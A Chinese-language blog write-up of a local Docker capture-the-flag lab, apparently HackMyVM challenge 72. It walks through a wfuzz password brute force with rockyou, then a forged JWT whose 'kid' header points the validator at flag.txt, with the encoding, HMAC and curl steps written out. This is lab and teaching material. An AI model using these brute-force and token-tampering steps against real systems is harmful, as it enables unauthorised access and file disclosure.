HMV Challenge 72
Todd

启动

看下 ReadMe.md 里面有了几个要执行的命令:

  1. 安装 Docker
  2. docker build -t fr1end .
  3. docker run --name=fr1end -p1337:80 -p4000:4000 fr1end

这样在宿主机的 1337 和 4000 端口就启动了,这里提醒下不要改端口,系统写死了访问路径,改了之后跑起来有问题。
其实我还习惯加一下 -rm (运行完自己清理) -d(不用占着一个终端,不过要自己 stop),变成:
docker run --rm --name=fr1end -p1337:80 -p4000:4000 -d fr1end

除了自己折腾,题目也有./build_docker.sh 把刚才的命令打包了。直接执行也行。

玩好了也有对应的清理命令:

  1. docker rm fr1end -f 删容器,如果加了–rm 就不用执行这一步。
  2. docker rmi fr1end 删镜像

按照题目设计,系统运行在 http://localhost:1337/ 但是我们已经知道还有一个 4000 端口。

信息收集

  • 打开 http://localhost:1337/ 瞅一眼,是个登陆界面,错误的账号密码提示是 Username or password incorrect. I said Friend, Gandalf.
    image

  • 看 Title 是 React App,前端应该是 React 写的。

  • 看起来 nginx 运行在 1337 端口,而后端是 4000 端口

  • 登陆的头信息中看到后端是 Express 框架

渗透

暂时没有其他信息,先尝试爆破登陆界面。假设用户名就是 Gandalf
wfuzz -w /usr/share/wordlists/rockyou.txt -d "username=Gandalf&password=FUZZ" -u http://localhost:1337/login -H "Content-Type: application/x-www-form-urlencoded" --hc 405

跑一半的时候,突然想起来这个台词,Speak Friend and Enter!
那么用户名应该是 Gandalf 密码就是 Mellon 了。果然登陆成功。
获取了一个 accessToken , 去 jwt.io 解密一下:
image

然后看到有一个 url 出错了 :http://0.0.0.0:4000/validate

手动请求下:

1
2
3
4
curl -X POST http://localhost:4000/validate -d '{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4va2V5cy9wdWJsaWNrZXkuY3J0In0.eyJ1c2VybmFtZSI6IkdhbmRhbGYiLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3MTI2Mjg5NzV9.M2UJAmoWs9NVCaj9hJGi1e-picg7TtUw_auzr19QF5Y"}' -H "Content-Type:application/json"


{"message":"Gandalf","k":"9C92820F7A8C1C6EADD7118623594903C33FE2E55EC667B02C0185930AB94437"}

看到 k 读出来了。回想起刚才的 jwt 的头 Kid 的头:

1
2
3
4
5
{
"alg": "HS256",
"typ": "JWT",
"kid": "./keys/publickey.crt"
}

然后我偷偷看了下 flag.txt 的位置,就和 publickey.crt 放在一起,那么剩下的就简单了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 现在已知 publickey , 需要伪造一个 jwt, header 里的 kid 改成 ./keys/flag.txt
# 因为要在http 协议中使用, 注意在 base64 后, =被省略、+替换成-,/替换成_

# 先处理 header 部分:
echo -n '{"alg":"HS256","typ":"JWT","kid":"./keys/flag.txt"}' | base64
# 得到:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4va2V5cy9mbGFnLnR4dCJ9

# 然后处理 payload 部分:
echo -n '{"username":"Gandalf","role":"admin","iat":1712628975}' | base64

eyJ1c2VybmFtZSI6IkdhbmRhbGYiLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3MTI2Mjg5NzV9


# 最后是签名部分:
echo -n 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4va2V5cy9mbGFnLnR4dCJ9.eyJ1c2VybmFtZSI6IkdhbmRhbGYiLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3MTI2Mjg5NzV9' | openssl dgst -sha256 -mac HMAC -macopt hexkey:9C92820F7A8C1C6EADD7118623594903C33FE2E55EC667B02C0185930AB94437 | base64

# 得到
U0hBMi0yNTYoc3RkaW4pPSAyYWNkMTJkY2RlYzRlOTQ0YzVjMzdkODRmM2QxOGMwNGZlYTJmNTA0ZDQwNGI3ZjcwMWQ1NGUyNGVkYTI0ZjU2Cg==

# 最后拼起来访问
curl -X POST http://localhost:4000/validate -d '{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4va2V5cy9mbGFnLnR4dCJ9.eyJ1c2VybmFtZSI6IkdhbmRhbGYiLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3MTI2Mjg5NzV9.U0hBMi0yNTYoc3RkaW4pPSAyYWNkMTJkY2RlYzRlOTQ0YzVjMzdkODRmM2QxOGMwNGZlYTJmNTA0ZDQwNGI3ZjcwMWQ1NGUyNGVkYTI0ZjU2Cg"}' -H "Content-Type:application/json"

# 得到 Flag
{"message":"Invalid Token","k":"HMV{---------------}"}%
# 此时才发现原来验签不过,也给读了 flag

最后释放资源

1
2
docker rm fr1end -f
docker rmi fr1end

完结撒花。🎉

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 74.6k 访客数 访问量